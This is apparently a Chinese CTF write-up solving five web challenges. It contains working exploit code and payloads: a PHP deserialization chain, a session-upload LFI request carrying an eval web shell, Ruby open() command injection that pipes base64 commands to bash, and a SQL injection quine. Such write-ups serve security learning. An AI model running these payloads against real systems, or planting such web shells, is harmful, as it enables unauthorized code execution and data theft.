躺了
WebFTP 根据指纹找到了github上的源码:wifeat/WebFTP
默认的密码admin888无法登录,账户信息存在Data/User/md5(username).php中,从代码逻辑上看不出什么漏洞
发现Readme目录下有一个php探针,刚开始进去四处点 点不出东西,然后看了下源码发现提交act参数即可拿到phpinfo,然后flag在phpinfo里边
payload:/Readme/mytz.php?act=phpinfo
pklovecloud (不是很懂题目“pklovecloud”是啥意思。。。
直接给源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<? php
include 'flag.php' ;
class pkshow
{
function echo_name ()
{
return "Pk very safe^.^" ;
}
}
class acp
{
protected $cinder ;
public $neutron ;
public $nova ;
function __construct ()
{
$this -> cinder = new pkshow ;
}
function __toString ()
{
if ( isset ( $this -> cinder ))
return $this -> cinder -> echo_name ();
}
}
class ace
{
public $filename ;
public $openstack ;
public $docker ;
function echo_name ()
{
$this -> openstack = unserialize ( $this -> docker );
$this -> openstack -> neutron = $heat ;
if ( $this -> openstack -> neutron === $this -> openstack -> nova )
{
$file = "./ { $this -> filename } " ;
if ( file_get_contents ( $file ))
{
return file_get_contents ( $file );
}
else
{
return "keystone lost~" ;
}
}
}
}
if ( isset ( $_GET [ 'pks' ]))
{
$logData = unserialize ( $_GET [ 'pks' ]);
echo $logData ;
}
else
{
highlight_file ( __file__ );
}
?>
Copy 这里主要是有个未知的$heat变量,但是没有使用global关键字的话是取不到开头include到本文件中的变量,所以应该是null,我们直接置空即可
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<? php
include 'flag.php' ;
class acp
{
protected $cinder ;
public $neutron ;
public $nova ;
function __construct ( $cinder )
{
$this -> cinder = $cinder ;
}
}
class ace
{
public $filename = "flag.php" ;
public $openstack ;
public $docker ;
function __construct ( $docker )
{
$this -> docker = $docker ;
}
}
$cp = new acp ( "123" );
$ce = new ace ( serialize ( $cp ));
echo urlencode ( serialize ( new acp ( $ce )));
?>
Copy payload:O%3A3%3A"acp"%3A3%3A%7Bs%3A9%3A"%00%2A%00cinder"%3BO%3A3%3A"ace"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A8%3A"flag.php"%3Bs%3A9%3A"openstack"%3BN%3Bs%3A6%3A"docker"%3Bs%3A69%3A"O%3A3%3A"acp"%3A3%3A%7Bs%3A9%3A"%00%2A%00cinder"%3Bs%3A3%3A"123"%3Bs%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B%7D"%3B%7Ds%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B%7D
EasyCleanup 题目好像下午的时候被搅屎了,还导致比赛被迫暂停(xs
直接给源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<? php
if ( ! isset ( $_GET [ 'mode' ])){
highlight_file ( __file__ );
} else if ( $_GET [ 'mode' ] == "eval" ){
$shell = $_GET [ 'shell' ] ?? 'phpinfo();' ;
if ( strlen ( $shell ) > 15 | filter ( $shell ) | checkNums ( $shell )) exit ( "hacker" );
eval ( $shell );
}
if ( isset ( $_GET [ 'file' ])){
if ( strlen ( $_GET [ 'file' ]) > 15 | filter ( $_GET [ 'file' ])) exit ( "hacker" );
include $_GET [ 'file' ];
}
function filter ( $var ) : bool {
$banned = [ "while" , "for" , " \$ _" , "include" , "env" , "require" , "?" , ":" , "^" , "+" , "-" , "%" , "*" , "`" ];
foreach ( $banned as $ban ){
if ( strstr ( $var , $ban )) return True ;
}
return False ;
}
function checkNums ( $var ) : bool {
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ;
$cnt = 0 ;
for ( $i = 0 ; $i < strlen ( $alphanum ); $i ++ ){
for ( $j = 0 ; $j < strlen ( $var ); $j ++ ){
if ( $var [ $j ] == $alphanum [ $i ]){
$cnt += 1 ;
if ( $cnt > 8 ) return True ;
}
}
}
return False ;
}
?>
Copy 查看phpinfo发现session.upload_progress.cleanup 参数是Off且session.save_path 参数为空,参考:session.upload_progress+LFI实现RCE - ca01h’s Blog ,还不需要条件竞争。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST / HTTP / 1.1
Host : 114.115.134.72:32770
Content-Length : 3144
Cache-Control : max-age=0
Upgrade-Insecure-Requests : 1
Origin : null
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryjyLGZ6hpSLAUXQv6
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Edg/93.0.961.47
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding : gzip, deflate
Cookie : PHPSESSID=Kk
Accept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection : close
------WebKitFormBoundaryjyLGZ6hpSLAUXQv6
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php @eval($_POST[k1te]);?>
------WebKitFormBoundaryjyLGZ6hpSLAUXQv6
Content-Disposition: form-data; name="file"; filename="untitled.php"
Content-Type: application/octet-stream
<?php
class
------WebKitFormBoundaryjyLGZ6hpSLAUXQv6--
Copy 然后直接访问/?file=/tmp/sess_Kk即可
PNG图片转换器 附件给了app.rb:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open ( "./view/index.html" , 'r' ) . read ()
end
get '/upload' do
open ( "./view/upload.html" , 'r' ) . read ()
end
post '/upload' do
unless params [ :file ] && params [ :file ][ :tempfile ] && params [ :file ][ :filename ] && params [ :file ][ :filename ]. split ( '.' ) [- 1 ] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest :: MD5 . hexdigest ( Time . now . to_i . to_s + params [ :file ][ :filename ] ) + '.png'
open ( filename , 'wb' ) { | f |
f . write open ( params [ :file ][ :tempfile ] , 'r' ) . read ()
}
"Upload success, file stored at #{ filename } "
rescue
'something wrong'
end
end
get '/convert' do
open ( "./view/convert.html" , 'r' ) . read ()
end
post '/convert' do
begin
unless params [ 'file' ]
return "<script>alert('error');location.href='/convert';</script>"
end
file = params [ 'file' ]
unless file . index ( '..' ) == nil && file . index ( '/' ) == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open ( file , 'r' ) . read ()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement( \" img \" ); \n img.src= \" data:image/png;base64," + Base64 . encode64 ( res ) . gsub ( /\s*/ , '' ) + " \" ; \n "
rescue
'something wrong'
end
end
Copy 参考:Ruby的 open 函数导致命令执行 | Yukang’s Page ,有ping命令注入内味儿了,因为过滤了..
和/
,所以可以用编码绕过
payload:
1
2
3
4
//ls /
file=|echo bHMgLw==|base64 -d|bash||1.png
//cat /FLA9_wmXLXmOWKLLQkpP0ceIy
file=|echo Y2F0IC9GTEE5X3dtWExYbU9XS0xMUWtwUDBjZUl5|base64 -d|bash||1.png
Copy yet_another_mysql_injection 根据hint拿到源码/?source
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<? php
include_once ( "lib.php" );
function alertMes ( $mes , $url ){
die ( "<script>alert(' { $mes } ');location.href=' { $url } ';</script>" );
}
function checkSql ( $s ) {
if ( preg_match ( "/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;| \\\$ |0x|sleep|\ /i" , $s )){
alertMes ( 'hacker' , 'index.php' );
}
}
if ( isset ( $_POST [ 'username' ]) && $_POST [ 'username' ] != '' && isset ( $_POST [ 'password' ]) && $_POST [ 'password' ] != '' ) {
$username = $_POST [ 'username' ];
$password = $_POST [ 'password' ];
if ( $username !== 'admin' ) {
alertMes ( 'only admin can login' , 'index.php' );
}
checkSql ( $password );
$sql = "SELECT password FROM users WHERE username='admin' and password=' $password ';" ;
$user_result = mysqli_query ( $con , $sql );
$row = mysqli_fetch_array ( $user_result );
if ( ! $row ) {
alertMes ( "something wrong" , 'index.php' );
}
if ( $row [ 'password' ] === $password ) {
die ( $FLAG );
} else {
alertMes ( "wrong password" , 'index.php' );
}
}
if ( isset ( $_GET [ 'source' ])){
show_source ( __FILE__ );
die ;
}
?>
Copy 最后注出来发现库里面没东西,需要利用trick使得输入和输出相等,这里直接拿队友的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
def quine ( data , debug = True ):
if debug : print ( data )
data = data . replace ( 'YY' , "REPLACE(REPLACE(YY,CHAR(34),CHAR(39)),CHAR(89),YY)" )
blob = data . replace ( 'YY' , '"Y"' ) . replace ( "'" , '"' )
data = data . replace ( 'YY' , "'" + blob + "'" )
if debug : print ( data )
return data
data = quine ( "'UNION/**/SELECT/**/YY/**/AS/**/ZZ#" )
print ( data )
#改了下脚本
#https://www.shysecurity.com/post/20140705-SQLi-Quine
#看上面这篇文章
Copy payload:'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("Y",CHAR(34),CHAR(39)),CHAR(89),"Y")/**/AS/**/ZZ#',CHAR(34),CHAR(39)),CHAR(89),'"UNION/**/SELECT/**/REPLACE(REPLACE("Y",CHAR(34),CHAR(39)),CHAR(89),"Y")/**/AS/**/ZZ#')/**/AS/**/ZZ#